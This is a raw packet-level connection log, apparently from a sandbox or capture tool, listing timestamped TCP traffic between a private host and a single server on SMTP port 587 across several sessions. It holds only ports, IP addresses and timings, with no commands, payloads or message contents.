Jan 15, 2025 08:43:24.435362101 CET	50014	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:24.438390017 CET	587	50013	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:24.440222025 CET	587	50014	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:24.440301895 CET	50014	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:25.031646013 CET	587	50014	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:25.031812906 CET	50014	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:25.036664963 CET	587	50014	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:25.226607084 CET	587	50014	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:25.226735115 CET	50014	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:25.231527090 CET	587	50014	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:25.421880007 CET	587	50014	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:25.422347069 CET	50014	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:25.427198887 CET	587	50014	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:25.635957003 CET	587	50014	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:25.636166096 CET	50014	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:25.641030073 CET	587	50014	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:25.831227064 CET	587	50014	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:25.831357956 CET	50014	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:25.836174011 CET	587	50014	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:26.081054926 CET	587	50014	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:26.081192017 CET	50014	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:26.086086035 CET	587	50014	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:26.276165009 CET	587	50014	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:26.281665087 CET	50014	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:26.281665087 CET	50014	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:26.281817913 CET	50014	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:26.281817913 CET	50014	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:26.283046007 CET	50014	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:26.288765907 CET	587	50014	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:26.288779974 CET	587	50014	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:26.288788080 CET	587	50014	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:26.288849115 CET	587	50014	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:26.288857937 CET	587	50014	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:26.288866997 CET	587	50014	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:26.288908005 CET	50014	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:26.288908005 CET	50014	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:26.288957119 CET	587	50014	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:26.288965940 CET	587	50014	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:26.288974047 CET	587	50014	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:26.288981915 CET	587	50014	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:26.288990021 CET	587	50014	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:26.288997889 CET	587	50014	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:26.289005995 CET	50014	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:26.289006948 CET	587	50014	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:26.289033890 CET	50014	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:26.289055109 CET	50014	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:26.293751955 CET	587	50014	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:26.293812037 CET	587	50014	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:26.293854952 CET	50014	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:26.293883085 CET	50014	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:26.293889046 CET	587	50014	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:26.293916941 CET	587	50014	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:26.294006109 CET	50014	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:26.317795038 CET	587	50014	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:26.317945004 CET	50014	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:26.318994045 CET	587	50014	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:26.319250107 CET	587	50014	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:26.319341898 CET	50014	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:26.319560051 CET	587	50014	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:26.323441029 CET	587	50014	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:26.323451996 CET	587	50014	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:26.323461056 CET	587	50014	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:26.323470116 CET	587	50014	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:26.323477983 CET	587	50014	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:26.324404955 CET	587	50014	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:26.324414015 CET	587	50014	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:26.324421883 CET	587	50014	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:26.324507952 CET	587	50014	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:26.324517965 CET	587	50014	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:26.324527025 CET	587	50014	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:26.324534893 CET	587	50014	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:26.324543953 CET	587	50014	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:26.324636936 CET	587	50014	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:26.324645996 CET	587	50014	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:26.324655056 CET	587	50014	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:26.324662924 CET	587	50014	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:26.324671030 CET	587	50014	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:26.739341021 CET	587	50014	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:26.824687004 CET	50014	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:30.128128052 CET	50009	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:30.133053064 CET	587	50009	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:30.524027109 CET	587	50009	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:30.524041891 CET	587	50009	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:30.524266005 CET	50009	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:30.524266005 CET	50009	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:30.529109001 CET	587	50009	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:30.529225111 CET	50015	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:30.534014940 CET	587	50015	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:30.534394026 CET	50015	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:31.123563051 CET	587	50015	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:31.123692036 CET	50015	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:31.128607035 CET	587	50015	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:31.318489075 CET	587	50015	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:31.318706036 CET	50015	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:31.323544025 CET	587	50015	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:31.513946056 CET	587	50015	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:31.514170885 CET	50015	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:31.519047022 CET	587	50015	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:31.727870941 CET	587	50015	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:31.728264093 CET	50015	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:31.733143091 CET	587	50015	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:31.927766085 CET	587	50015	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:31.931679010 CET	50015	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:31.936517000 CET	587	50015	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:32.178313971 CET	587	50015	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:32.181756020 CET	50015	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:32.186654091 CET	587	50015	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:32.386714935 CET	587	50015	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:32.387082100 CET	50015	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:32.387140989 CET	50015	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:32.387140989 CET	50015	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:32.387345076 CET	50015	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:32.389621973 CET	50015	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:32.391994953 CET	587	50015	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:32.392021894 CET	587	50015	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:32.392049074 CET	587	50015	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:32.392143011 CET	587	50015	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:32.392157078 CET	50015	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:32.394468069 CET	587	50015	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:32.394479036 CET	587	50015	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:32.394493103 CET	587	50015	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:32.394503117 CET	587	50015	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:32.394534111 CET	587	50015	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:32.394545078 CET	587	50015	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:32.394561052 CET	50015	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:32.394589901 CET	587	50015	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:32.394601107 CET	587	50015	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:32.394613028 CET	587	50015	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:32.394617081 CET	50015	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:32.394632101 CET	50015	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:32.394642115 CET	50015	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:32.394707918 CET	50015	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:32.397008896 CET	587	50015	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:32.397072077 CET	50015	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:32.399388075 CET	587	50015	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:32.399430037 CET	587	50015	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:32.399446964 CET	50015	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:32.399462938 CET	587	50015	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:32.399563074 CET	587	50015	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:32.399584055 CET	587	50015	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:32.399594069 CET	587	50015	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:32.399610043 CET	50015	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:32.399662018 CET	50015	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:32.399684906 CET	587	50015	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:32.399694920 CET	587	50015	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:32.399704933 CET	587	50015	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:32.399861097 CET	50015	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:32.402056932 CET	587	50015	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:32.402117014 CET	50015	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:32.404228926 CET	587	50015	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:32.404284954 CET	587	50015	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:32.404396057 CET	50015	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:32.404552937 CET	587	50015	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:32.404653072 CET	587	50015	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:32.404712915 CET	587	50015	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:32.404829979 CET	587	50015	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:32.404928923 CET	587	50015	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:32.405005932 CET	587	50015	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:32.405016899 CET	587	50015	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:32.405112982 CET	587	50015	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:32.405124903 CET	587	50015	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:32.405225992 CET	587	50015	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:32.405236006 CET	587	50015	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:32.405281067 CET	587	50015	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:32.405291080 CET	587	50015	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:32.405333042 CET	587	50015	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:32.405343056 CET	587	50015	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:32.405380011 CET	587	50015	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:32.405390024 CET	587	50015	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:32.405464888 CET	587	50015	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:32.405474901 CET	587	50015	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:32.405483961 CET	587	50015	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:32.405494928 CET	587	50015	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:32.405507088 CET	587	50015	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:32.406985044 CET	587	50015	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:32.406996012 CET	587	50015	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:32.407006979 CET	587	50015	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:32.407073975 CET	587	50015	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:32.409260035 CET	587	50015	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:32.409271955 CET	587	50015	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:32.409282923 CET	587	50015	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:32.409322023 CET	587	50015	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:32.409332037 CET	587	50015	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:32.851869106 CET	587	50015	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:33.027837992 CET	50015	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:34.709378958 CET	50015	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:34.714396954 CET	587	50015	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:35.137958050 CET	587	50015	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:35.137993097 CET	587	50015	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:35.138050079 CET	50015	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:35.159248114 CET	50015	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:35.162765026 CET	50016	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:35.164170027 CET	587	50015	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:35.167620897 CET	587	50016	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:35.167695999 CET	50016	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:35.764627934 CET	587	50016	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:35.824719906 CET	50016	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:35.869609118 CET	50016	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:35.874501944 CET	587	50016	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:36.065593958 CET	587	50016	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:36.065762043 CET	50016	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:36.070636034 CET	587	50016	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:36.262204885 CET	587	50016	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:36.262712002 CET	50016	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:36.267608881 CET	587	50016	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:36.501848936 CET	587	50016	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:36.502249002 CET	50016	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:36.507091045 CET	587	50016	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:36.698129892 CET	587	50016	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:36.698328018 CET	50016	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:36.703351021 CET	587	50016	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:36.944200039 CET	587	50016	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:36.944447041 CET	50016	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:36.949300051 CET	587	50016	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:37.141834974 CET	587	50016	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:37.142117977 CET	50016	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:37.142158031 CET	50016	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:37.142205000 CET	50016	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:37.142266035 CET	50016	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:37.143757105 CET	50016	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:37.147017002 CET	587	50016	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:37.147036076 CET	587	50016	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:37.147048950 CET	587	50016	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:37.147063971 CET	587	50016	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:37.147145987 CET	50016	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:37.148674965 CET	587	50016	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:37.148694038 CET	587	50016	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:37.148726940 CET	50016	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:37.148751974 CET	50016	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:37.148777008 CET	587	50016	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:37.148791075 CET	587	50016	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:37.148802042 CET	587	50016	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:37.148817062 CET	50016	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:37.148824930 CET	587	50016	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:37.148838043 CET	587	50016	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:37.148847103 CET	50016	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:37.148849010 CET	587	50016	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:37.148860931 CET	587	50016	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:37.148876905 CET	50016	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:37.148906946 CET	50016	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:37.151983023 CET	587	50016	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:37.152031898 CET	50016	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:37.153789043 CET	587	50016	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:37.153830051 CET	587	50016	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:37.153858900 CET	50016	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:37.153867006 CET	587	50016	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:37.153884888 CET	50016	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:37.153897047 CET	587	50016	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:37.153919935 CET	50016	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:37.153937101 CET	587	50016	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:37.153947115 CET	50016	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:37.153976917 CET	50016	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:37.153979063 CET	587	50016	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:37.154026031 CET	587	50016	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:37.154027939 CET	50016	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:37.154071093 CET	50016	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:37.154078007 CET	587	50016	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:37.154124022 CET	50016	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:37.156889915 CET	587	50016	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:37.156944990 CET	50016	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:37.158823967 CET	587	50016	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:37.158864021 CET	587	50016	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:37.158886909 CET	50016	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:37.158911943 CET	50016	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:37.158948898 CET	587	50016	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:37.159240007 CET	587	50016	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:37.159441948 CET	587	50016	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:37.161818027 CET	587	50016	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:37.161834955 CET	587	50016	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:37.161850929 CET	587	50016	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:37.161916018 CET	587	50016	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:37.163724899 CET	587	50016	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:37.163825989 CET	587	50016	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:37.163839102 CET	587	50016	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:37.163868904 CET	587	50016	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:37.163881063 CET	587	50016	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:37.164038897 CET	587	50016	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:37.164105892 CET	587	50016	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:37.600169897 CET	587	50016	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:37.656627893 CET	50016	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:42.922630072 CET	50016	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:42.927453995 CET	587	50016	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:43.059659958 CET	50017	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:43.064496040 CET	587	50017	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:43.064555883 CET	50017	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:43.323719025 CET	587	50016	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:43.323808908 CET	587	50016	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:43.323836088 CET	50016	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:43.323878050 CET	50016	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:43.325280905 CET	50018	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:43.328599930 CET	587	50016	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:43.330131054 CET	587	50018	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:43.330192089 CET	50018	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:43.654836893 CET	587	50017	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:43.659612894 CET	50017	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:43.664500952 CET	587	50017	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:43.854235888 CET	587	50017	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:43.859663010 CET	50017	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:43.864483118 CET	587	50017	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:43.914983988 CET	587	50018	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:43.919672966 CET	50018	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:43.924623013 CET	587	50018	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:44.054807901 CET	587	50017	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:44.055396080 CET	50017	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:44.060271025 CET	587	50017	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:44.117368937 CET	587	50018	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:44.117701054 CET	50018	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:44.122603893 CET	587	50018	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:44.269359112 CET	587	50017	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:44.270061016 CET	50017	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:44.274930000 CET	587	50017	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:44.312671900 CET	587	50018	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:44.313371897 CET	50018	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:44.318259001 CET	587	50018	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:44.464277983 CET	587	50017	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:44.464483023 CET	50017	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:44.469356060 CET	587	50017	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:44.522588015 CET	587	50018	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:44.528156042 CET	50018	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:44.533137083 CET	587	50018	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:44.704405069 CET	587	50017	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:44.704607010 CET	50017	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:44.709449053 CET	587	50017	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:44.722718954 CET	587	50018	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:44.723342896 CET	50018	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:44.728203058 CET	587	50018	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:44.899172068 CET	587	50017	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:44.899576902 CET	50017	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:44.899578094 CET	50017	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:44.899578094 CET	50017	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:44.899682999 CET	50017	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:44.901076078 CET	50017	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:44.904601097 CET	587	50017	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:44.904607058 CET	587	50017	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:44.904624939 CET	587	50017	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:44.904642105 CET	587	50017	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:44.904685020 CET	50017	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:44.905996084 CET	587	50017	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:44.906028986 CET	587	50017	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:44.906058073 CET	587	50017	212.44.102.65	192.168.2.6
